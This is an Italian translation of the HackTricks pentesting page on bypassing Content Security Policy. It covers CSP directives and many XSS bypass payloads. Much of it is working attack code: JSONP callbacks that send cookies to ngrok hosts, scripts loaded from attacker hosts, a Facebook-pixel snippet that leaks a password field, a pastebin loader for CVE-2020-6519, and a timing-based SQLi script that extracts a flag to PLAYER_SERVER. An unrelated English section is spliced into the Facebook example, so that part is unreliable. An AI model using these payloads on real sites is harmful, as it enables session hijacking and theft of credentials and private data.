hacktricks/pentesting-web/content-security-policy-csp-bypass

Bypass della Content Security Policy (CSP)

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

• Se vuoi vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
• Ottieni il merchandising ufficiale di PEASS & HackTricks
• Scopri La Famiglia PEASS, la nostra collezione di NFT esclusivi
• Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
• Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud github repos.

Unisciti al server HackenProof Discord per comunicare con hacker esperti e cacciatori di bug bounty!

Approfondimenti sull'Hacking
Coinvolgiti con contenuti che esplorano l'emozione e le sfide dell'hacking

Notizie sull'Hacking in Tempo Reale
Resta aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale

Ultime Annunci
Resta informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali delle piattaforme

Unisciti a noi su Discord e inizia a collaborare con i migliori hacker oggi!

Cos'è CSP

La Content Security Policy (CSP) è riconosciuta come una tecnologia del browser, principalmente mirata a proteggere contro attacchi come cross-site scripting (XSS). Funziona definendo e dettagliando percorsi e fonti da cui il browser può caricare in modo sicuro risorse. Queste risorse includono una serie di elementi come immagini, frame e JavaScript. Ad esempio, una policy potrebbe consentire il caricamento e l'esecuzione di risorse dallo stesso dominio (self), inclusa l'esecuzione di risorse inline e il codice stringa tramite funzioni come eval, setTimeout o setInterval.

L'implementazione di CSP avviene tramite intestazioni di risposta o incorporando elementi meta nella pagina HTML. Seguendo questa policy, i browser applicano attivamente queste disposizioni e bloccano immediatamente eventuali violazioni rilevate.

• Implementato tramite intestazione di risposta:

Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';

• Implementato tramite tag meta:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Intestazioni

CSP può essere impostato o monitorato utilizzando queste intestazioni:

• Content-Security-Policy: Imposta il CSP; il browser blocca qualsiasi violazione.
• Content-Security-Policy-Report-Only: Utilizzato per il monitoraggio; segnala le violazioni senza bloccarle. Ideale per i test in ambienti di pre-produzione.

Definizione delle Risorse

CSP limita le origini per il caricamento di contenuti attivi e passivi, controllando aspetti come l'esecuzione di JavaScript inline e l'uso di eval(). Un esempio di policy è:

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Direttive

• script-src: Consente origini specifiche per JavaScript, inclusi URL, script inline e script attivati da gestori di eventi o fogli di stile XSLT.
• default-src: Imposta una policy predefinita per il recupero di risorse quando le direttive di recupero specifiche sono assenti.
• child-src: Specifica le risorse consentite per i web worker e i contenuti dell'iframe incorporato.
• connect-src: Limita gli URL che possono essere caricati utilizzando interfacce come fetch, WebSocket, XMLHttpRequest.
• frame-src: Limita gli URL per gli iframe.
• frame-ancestors: Specifica quali origini possono incorporare la pagina corrente, applicabile agli elementi come <frame>, <iframe>, <object>, <embed> e <applet>.
• img-src: Definisce le origini consentite per le immagini.
• font-src: Specifica le origini valide per i font caricati utilizzando @font-face.
• manifest-src: Definisce le origini consentite dei file di manifesto dell'applicazione.
• media-src: Definisce le origini consentite per il caricamento di oggetti multimediali.
• object-src: Definisce le origini consentite per gli elementi <object>, <embed> e <applet>.
• base-uri: Specifica gli URL consentiti per il caricamento utilizzando gli elementi <base>.
• form-action: Elenca i punti di accesso validi per le sottomissioni dei moduli.
• plugin-types: Limita i tipi MIME che una pagina può invocare.
• upgrade-insecure-requests: Istruisce i browser a riscrivere gli URL HTTP in HTTPS.
• sandbox: Applica restrizioni simili all'attributo sandbox di un <iframe>.
• report-to: Specifica un gruppo a cui verrà inviato un report se la policy viene violata.
• worker-src: Specifica le origini valide per gli script Worker, SharedWorker o ServiceWorker.
• prefetch-src: Specifica le origini valide per le risorse che verranno recuperate o precaricate.
• navigate-to: Limita gli URL a cui un documento può navigare con qualsiasi mezzo (a, form, window.location, window.open, ecc.)

Origini

• *: Consente tutti gli URL tranne quelli con gli schemi data:, blob:, filesystem:.
• 'self': Consente il caricamento dallo stesso dominio.
• 'data': Consente il caricamento di risorse tramite lo schema data (ad esempio, immagini codificate in Base64).
• 'none': Blocca il caricamento da qualsiasi origine.
• 'unsafe-eval': Consente l'uso di eval() e metodi simili, non raccomandato per motivi di sicurezza.
• 'unsafe-hashes': Abilita gestori di eventi inline specifici.
• 'unsafe-inline': Consente l'uso di risorse inline come script inline <script> o <style>, non raccomandato per motivi di sicurezza.
• 'nonce': Una whitelist per script inline specifici utilizzando un nonce crittografico (numero usato una sola volta).
• Se l'esecuzione di JS è limitata, è possibile ottenere un nonce utilizzato nella pagina con doc.defaultView.top.document.querySelector("[nonce]") e quindi riutilizzarlo per caricare uno script dannoso (se viene utilizzato strict-dynamic, qualsiasi origine consentita può caricare nuove origini quindi questo non è necessario), come in:

Carica script riutilizzando il nonce

```html ```

• 'sha256-<hash>': Elenca gli script con un hash sha256 specifico.
• 'strict-dynamic': Consente il caricamento degli script da qualsiasi origine se è stato elencato tramite un nonce o hash.
• 'host': Specifica un host specifico, come example.com.
• https:: Limita gli URL a quelli che utilizzano HTTPS.
• blob:: Consente il caricamento delle risorse dagli URL Blob (ad esempio, URL Blob creati tramite JavaScript).
• filesystem:: Consente il caricamento delle risorse dal filesystem.
• 'report-sample': Include un campione del codice che viola nel rapporto di violazione (utile per il debug).
• 'strict-origin': Simile a 'self' ma garantisce che il livello di sicurezza del protocollo delle origini corrisponda al documento (solo le origini sicure possono caricare risorse da origini sicure).
• 'strict-origin-when-cross-origin': Invia gli URL completi quando si effettuano richieste dello stesso origine, ma invia solo l'origine quando la richiesta è cross-origin.
• 'unsafe-allow-redirects': Consente il caricamento delle risorse che verranno reindirizzate immediatamente verso un'altra risorsa. Non raccomandato in quanto indebolisce la sicurezza.

Regole CSP Non Sicure

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Payload funzionante: "/><script>alert(1);</script>

self + 'unsafe-inline' tramite Iframes

{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} csp-bypass-self-+-unsafe-inline-with-iframes.md {% endcontent-ref %}

'unsafe-eval'

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

Payload funzionante:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

Se riesci in qualche modo a far sì che un codice JS consentito crei un nuovo tag script nel DOM con il tuo codice JS, poiché uno script consentito lo sta creando, il nuovo tag script sarà autorizzato ad essere eseguito.

Wildcard (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

Payload funzionante:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

Mancanza di object-src e default-src

{% hint style="danger" %} Sembra che questo non funzioni più {% endhint %}

Content-Security-Policy: script-src 'self' ;

Payload funzionanti:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

Caricamento file + 'self'

Content-Security-Policy: script-src 'self';  object-src 'none' ;

Se puoi caricare un file JS puoi bypassare questo CSP:

Payload funzionante:

"/>'><script src="/uploads/picture.png.js"></script>

Tuttavia, è molto probabile che il server stia validando il file caricato e ti permetterà solo di caricare un tipo specifico di file.

Inoltre, anche se riuscissi a caricare un codice JS all'interno di un file utilizzando un'estensione accettata dal server (come: script.png), questo non sarebbe sufficiente perché alcuni server come il server apache selezionano il tipo MIME del file in base all'estensione e i browser come Chrome rifiuteranno di eseguire il codice Javascript all'interno di qualcosa che dovrebbe essere un'immagine. "Fortunatamente", ci sono errori. Ad esempio, da un CTF ho imparato che Apache non riconosce l'estensione .wave, quindi non la serve con un tipo MIME come audio/*.

Da qui, se trovi una XSS e un caricamento di file, e riesci a trovare un'estensione interpretata erroneamente, potresti provare a caricare un file con quell'estensione e il contenuto dello script. Oppure, se il server sta controllando il formato corretto del file caricato, crea un poliglotta (alcuni esempi di poliglotti qui).

Endpoint di Terze Parti + ('unsafe-eval')

{% hint style="warning" %} Per alcuni dei seguenti payload unsafe-eval non è nemmeno necessario. {% endhint %}

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Carica una versione vulnerabile di Angular ed esegui JavaScript arbitrario:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Payloads che utilizzano Angular + una libreria con funzioni che restituiscono l'oggetto window (controlla questo post):

{% hint style="info" %} Il post mostra che potresti caricare tutte le librerie da cdn.cloudflare.com (o da qualsiasi altro repository di librerie JS consentito), eseguire tutte le funzioni aggiunte da ciascuna libreria e verificare quali funzioni restituiscono l'oggetto window da quali librerie. {% endhint %}

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Abuso del codice JS di Google reCAPTCHA

Secondo questo CTF writeup è possibile abusare di https://www.google.com/recaptcha/ all'interno di un CSP per eseguire codice JS arbitrario eludendo il CSP:

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

Ulteriori payload da questo articolo:

<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>

<!-- Trigger alert -->
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>

<!-- Reuse nonce -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>

Endpoint di terze parti + JSONP

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

Scenari come questo in cui script-src è impostato su self e su un particolare dominio che è nella whitelist possono essere bypassati utilizzando JSONP. Gli endpoint JSONP consentono metodi di callback non sicuri che permettono a un attaccante di eseguire XSS, payload funzionante:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>

https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee contiene endpoint JSONP pronti all'uso per aggirare la CSP di diversi siti web.

La stessa vulnerabilità si verificherà se il endpoint fidato contiene un reindirizzamento aperto perché se il punto di partenza è fidato, anche i reindirizzamenti sono fidati.

Abusi di Terze Parti

Come descritto nel seguente post, ci sono molti domini di terze parti, che potrebbero essere consentiti da qualche parte nella CSP, che possono essere abusati per esfiltrare dati o eseguire codice JavaScript. Alcune di queste terze parti sono:

Entità	Dominio Consentito	Capacità
Facebook	www.facebook.com, *.facebook.com	Esfil
Hotjar	*.hotjar.com, ask.hotjar.io	Esfil
Jsdelivr	*.jsdelivr.com, cdn.jsdelivr.net	Esecuzione
Amazon CloudFront	*.cloudfront.net	Esfil, Esecuzione
Amazon AWS	*.amazonaws.com	Esfil, Esecuzione
Azure Websites	*.azurewebsites.net, *.azurestaticapps.net	Esfil, Esecuzione
Salesforce Heroku	*.herokuapp.com	Esfil, Esecuzione
Google Firebase	*.firebaseapp.com	Esfil, Esecuzione

Se trovi uno dei domini consentiti nella CSP del tuo obiettivo, è probabile che tu possa aggirare la CSP registrandoti al servizio di terze parti e, o esfiltrare dati a quel servizio o eseguire codice.

Ad esempio, se trovi la seguente CSP:

Content-Security-Policy​: default-src 'self’ www.facebook.com;​

Bypassing Content Security Policy (CSP)

Introduction

Content Security Policy (CSP) is a security standard that helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks by allowing web developers to control the resources that a user agent is allowed to load for a particular page. However, misconfigurations or weaknesses in the CSP implementation can sometimes be exploited by attackers to bypass the security controls imposed by CSP.

Bypass Techniques

1. Inline Script Execution

Description

If a CSP policy allows 'unsafe-inline' for script-src, it permits the execution of inline JavaScript code. This can be exploited by an attacker to inject and execute malicious scripts directly within the HTML document.

Detection

To detect if a website allows 'unsafe-inline' for script execution, you can inspect the CSP header in the server response or check the page source code for inline <script> tags.

Exploitation

An attacker can inject a malicious script directly into the HTML document, bypassing the CSP restrictions and executing the script in the context of the vulnerable page.

2. Data: URL Execution

Description

CSP policies that allow 'data:' URLs for loading resources can be abused by attackers to execute arbitrary JavaScript code using data URLs.

Detection

To identify if a website permits 'data:' URLs for resource loading, you can analyze the CSP header or search for <img src="data:..."> or <script src="data:..."> tags in the page source.

Exploitation

An attacker can craft a data URL containing JavaScript code and include it in an <img> or <script> tag to execute malicious code within the context of the vulnerable page.

Conclusion

Content Security Policy (CSP) is a valuable security mechanism for protecting web applications against various types of attacks. However, it is essential for web developers to configure CSP properly to avoid misconfigurations that could be exploited by attackers to bypass the security controls. Regular security assessments and testing can help identify and mitigate CSP bypass vulnerabilities before they are leveraged by malicious actors.

Content-Security-Policy​: connect-src www.facebook.com;​

Dovresti essere in grado di esfiltrare dati, allo stesso modo in cui è sempre stato fatto con Google Analytics/Google Tag Manager. In questo caso, segui questi passaggi generali:

1. Crea un account sviluppatore su Facebook qui.
2. Crea una nuova app "Facebook Login" e seleziona "Sito web".
3. Vai su "Impostazioni -> Base" e ottieni il tuo "ID app".
4. Nel sito di destinazione da cui desideri esfiltrare dati, puoi farlo direttamente utilizzando il gadget SDK di Facebook "fbq" attraverso un "customEvent" e il payload dei dati.
5. Vai al "Gestore eventi" della tua app e seleziona l'applicazione che hai creato (nota che il gestore eventi potrebbe essere trovato in un URL simile a questo: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events
6. Seleziona la scheda "Eventi di test" per vedere gli eventi inviati dal sito web "tuo".

Successivamente, sul lato della vittima, esegui il seguente codice per inizializzare il pixel di tracciamento di Facebook per puntare all'app ID dell'account sviluppatore di Facebook dell'attaccante e emettere un evento personalizzato come questo:

fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});

Bypass tramite RPO (sovrascrittura del percorso relativo)

Oltre alla precedente redirezione per eludere le restrizioni del percorso, esiste un'altra tecnica chiamata Sovrascrittura del Percorso Relativo (RPO) che può essere utilizzata su alcuni server.

Ad esempio, se CSP permette il percorso https://example.com/scripts/react/, può essere eluso nel seguente modo:

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

Il browser caricherà alla fine https://example.com/scripts/angular/angular.js.

Ciò funziona perché per il browser, si sta caricando un file chiamato ..%2fangular%2fangular.js situato sotto https://example.com/scripts/react/, che è conforme a CSP.

Di conseguenza, lo decoderanno, richiedendo effettivamente https://example.com/scripts/react/../angular/angular.js, che è equivalente a https://example.com/scripts/angular/angular.js.

Sfruttando questa discrepanza nell'interpretazione dell'URL tra il browser e il server, è possibile aggirare le regole del percorso.

La soluzione è non trattare %2f come / sul lato server, garantendo un'interpretazione coerente tra il browser e il server per evitare questo problema.

Esempio online: https://jsbin.com/werevijewa/edit?html,output

Esecuzione JS tramite Iframes

{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

mancante base-uri

Se la direttiva base-uri è assente, è possibile abusarne per eseguire un iniezione di markup pendente.

Inoltre, se la pagina sta caricando uno script utilizzando un percorso relativo (come <script src="/js/app.js">) utilizzando un Nonce, è possibile abusare del tag base per farlo caricare lo script dal proprio server raggiungendo un XSS.
Se la pagina vulnerabile viene caricata con httpS, utilizzare un URL httpS nel base.

<base href="https://www.attacker.com/">

Eventi di AngularJS

Una specifica politica nota come Content Security Policy (CSP) potrebbe limitare gli eventi JavaScript. Tuttavia, AngularJS introduce eventi personalizzati come alternativa. All'interno di un evento, AngularJS fornisce un oggetto unico $event, che fa riferimento all'oggetto evento nativo del browser. Questo oggetto $event può essere sfruttato per aggirare il CSP. In particolare, in Chrome, l'oggetto $event/event possiede un attributo path, che contiene un array di oggetti implicati nella catena di esecuzione dell'evento, con l'oggetto window posizionato invariabilmente alla fine. Questa struttura è fondamentale per le tattiche di escape del sandbox.

Indirizzando questo array al filtro orderBy, è possibile iterare su di esso, sfruttando l'elemento terminale (l'oggetto window) per attivare una funzione globale come alert(). Il frammento di codice dimostrato di seguito chiarisce questo processo:

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

Questo frammento mette in evidenza l'uso della direttiva ng-focus per attivare l'evento, impiegando $event.path|orderBy per manipolare l'array path, e sfruttando l'oggetto window per eseguire la funzione alert(), rivelando così document.cookie.

Trova altri bypass di Angular in https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS e dominio in whitelist

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

Un CSP policy che elenca i domini per il caricamento degli script in un'applicazione Angular JS può essere bypassato attraverso l'invocazione delle funzioni di callback e di determinate classi vulnerabili. Ulteriori informazioni su questa tecnica sono disponibili in una guida dettagliata disponibile in questo repository git.

Payload funzionanti:

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

Altri endpoint di esecuzione arbitraria JSONP possono essere trovati qui (alcuni di essi sono stati eliminati o corretti)

Bypass tramite Redirezione

Cosa succede quando CSP incontra una redirezione lato server? Se la redirezione porta a un'origine diversa non consentita, fallirà comunque.

Tuttavia, secondo la descrizione in CSP spec 4.2.2.3. Percorsi e Redirect, se la redirezione porta a un percorso diverso, può eludere le restrizioni originali.

Ecco un esempio:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

Se CSP è impostato su https://www.google.com/a/b/c/d, poiché il percorso è considerato, entrambi gli script /test e /a/test saranno bloccati da CSP.

Tuttavia, il finale http://localhost:5555/301 verrà reindirizzato lato server a https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//. Poiché si tratta di un reindirizzamento, il percorso non viene considerato, e lo script può essere caricato, bypassando così la restrizione del percorso.

Con questo reindirizzamento, anche se il percorso è specificato completamente, verrà comunque bypassato.

Pertanto, la soluzione migliore è assicurarsi che il sito web non abbia vulnerabilità di reindirizzamento aperto e che non ci siano domini che possano essere sfruttati nelle regole di CSP.

Bypassare CSP con markup sospeso

Leggi come qui.

'unsafe-inline'; img-src *; tramite XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' significa che è possibile eseguire qualsiasi script all'interno del codice (XSS può eseguire codice) e img-src * significa che è possibile utilizzare nella pagina web qualsiasi immagine da qualsiasi risorsa.

È possibile aggirare questa CSP esfiltrando i dati tramite immagini (in questo caso, il XSS sfrutta un CSRF in cui una pagina accessibile dal bot contiene un SQLi e estrae il flag tramite un'immagine):

<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

Da: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

È possibile abusare di questa configurazione per caricare codice JavaScript inserito all'interno di un'immagine. Ad esempio, se la pagina consente il caricamento di immagini da Twitter, è possibile creare un'immagine speciale, caricarla su Twitter e abusare dell'opzione "unsafe-inline" per eseguire un codice JS (come un XSS regolare) che caricherà l'immagine, estrarrà il JS da essa e lo eseguirà: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

Con i Service Workers

La funzione importScripts dei service workers non è limitata dalla CSP:

{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}

Iniezione di Policy

Ricerca: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

Se un parametro inviato da te viene incollato all'interno della dichiarazione della policy, potresti modificare la policy in modo che diventi inefficace. Potresti consentire lo script 'unsafe-inline' con uno qualsiasi di questi bypass:

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

Questo diretto sovrascriverà le direttive script-src esistenti.
Puoi trovare un esempio qui: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

In Edge è molto più semplice. Se riesci ad aggiungere nel CSP solo questo: ;_ Edge ignorerà l'intera policy.
Esempio: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; tramite XSS (iframe) - Attacco temporizzato

Nota l'assenza della direttiva 'unsafe-inline'
Questa volta puoi far caricare una pagina sotto il tuo controllo tramite XSS con un <iframe. Questa volta farai accedere la vittima alla pagina da cui desideri estrarre informazioni (CSRF). Non puoi accedere al contenuto della pagina, ma se in qualche modo riesci a controllare il tempo necessario per il caricamento della pagina puoi estrarre le informazioni di cui hai bisogno.

Questa volta una bandiera verrà estratta, ogni volta che un carattere viene indovinato correttamente tramite SQLi la risposta richiede più tempo a causa della funzione di attesa. Quindi, sarai in grado di estrarre la bandiera:

<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>

Attraverso i Bookmarklet

Questo attacco implicherebbe un certo ingegneria sociale in cui l'attaccante convince l'utente a trascinare e rilasciare un link sul bookmarklet del browser. Questo bookmarklet conterrà codice javascript dannoso che, quando trascinato e rilasciato o cliccato, verrà eseguito nel contesto della finestra web attuale, bypassando il CSP e consentendo di rubare informazioni sensibili come cookie o token.

Per ulteriori informazioni controlla il report originale qui.

Bypass del CSP limitando il CSP

In questo CTF writeup, il CSP viene bypassato iniettando all'interno di un iframe consentito un CSP più restrittivo che impediva il caricamento di un file JS specifico che, successivamente, tramite inquinamento del prototipo o dom clobbering consentiva di abusare di uno script diverso per caricare uno script arbitrario.

Puoi limitare un CSP di un Iframe con l'attributo csp:

{% code overflow="wrap" %}

<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

{% endcode %}

Nel questo resoconto CTF, è stato possibile tramite iniezione HTML limitare ulteriormente un CSP in modo che uno script che previene CSTI fosse disabilitato e quindi la vulnerabilità diventasse sfruttabile.
Il CSP può essere reso più restrittivo utilizzando tag meta HTML e gli script inline possono essere disabilitati rimuovendo l'entry che consente il loro nonce e abilitando script inline specifici tramite sha:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">

Esfiltrazione JS con Content-Security-Policy-Report-Only

Se riesci a far sì che il server risponda con l'intestazione Content-Security-Policy-Report-Only con un valore controllato da te (forse a causa di un CRLF), potresti farlo puntare al tuo server e se avvolgi il contenuto JS che desideri esfiltrare con <script> e poiché è altamente probabile che unsafe-inline non sia consentito dalla CSP, ciò provocherà un errore CSP e una parte dello script (contenente le informazioni sensibili) verrà inviata al server da Content-Security-Policy-Report-Only.

Per un esempio controlla questo writeup CTF.

CVE-2020-6519

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

Rilevare Informazioni con CSP e Iframe

• Viene creato un iframe che punta a un URL (chiamiamolo https://esempio.redirect.com) permesso da CSP.
• Questo URL reindirizza poi a un URL segreto (ad esempio, https://segretoutente.esempio2.com) che non è permesso da CSP.
• Ascoltando l'evento securitypolicyviolation, è possibile catturare la proprietà blockedURI. Questa proprietà rivela il dominio dell'URI bloccato, rivelando il dominio segreto a cui l'URL iniziale è stato reindirizzato.

È interessante notare che browser come Chrome e Firefox hanno comportamenti diversi nel gestire gli iframe rispetto a CSP, portando a una potenziale divulgazione di informazioni sensibili a causa di un comportamento non definito.

Un'altra tecnica coinvolge lo sfruttamento dello stesso CSP per dedurre il sotto dominio segreto. Questo metodo si basa su un algoritmo di ricerca binaria e sull'aggiustamento del CSP per includere specifici domini che sono deliberatamente bloccati. Ad esempio, se il sotto dominio segreto è composto da caratteri sconosciuti, è possibile testare iterativamente diversi sotto domini modificando la direttiva CSP per bloccare o consentire questi sotto domini. Ecco un frammento che mostra come il CSP potrebbe essere configurato per facilitare questo metodo:

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

Monitorando quali richieste vengono bloccate o consentite dal CSP, è possibile restringere i possibili caratteri nel sotto dominio segreto, alla fine scoprendo l'URL completo.

Entrambi i metodi sfruttano le sfumature dell'implementazione e del comportamento del CSP nei browser, dimostrando come le politiche apparentemente sicure possano involontariamente rivelare informazioni sensibili.

Trucco da qui.

Unisciti al server HackenProof Discord per comunicare con hacker esperti e cacciatori di bug!

Approfondimenti sull'Hacking
Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking

Notizie sull'Hacking in Tempo Reale
Resta aggiornato con il mondo dell'hacking frenetico attraverso notizie e approfondimenti in tempo reale

Ultime Annunci
Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma

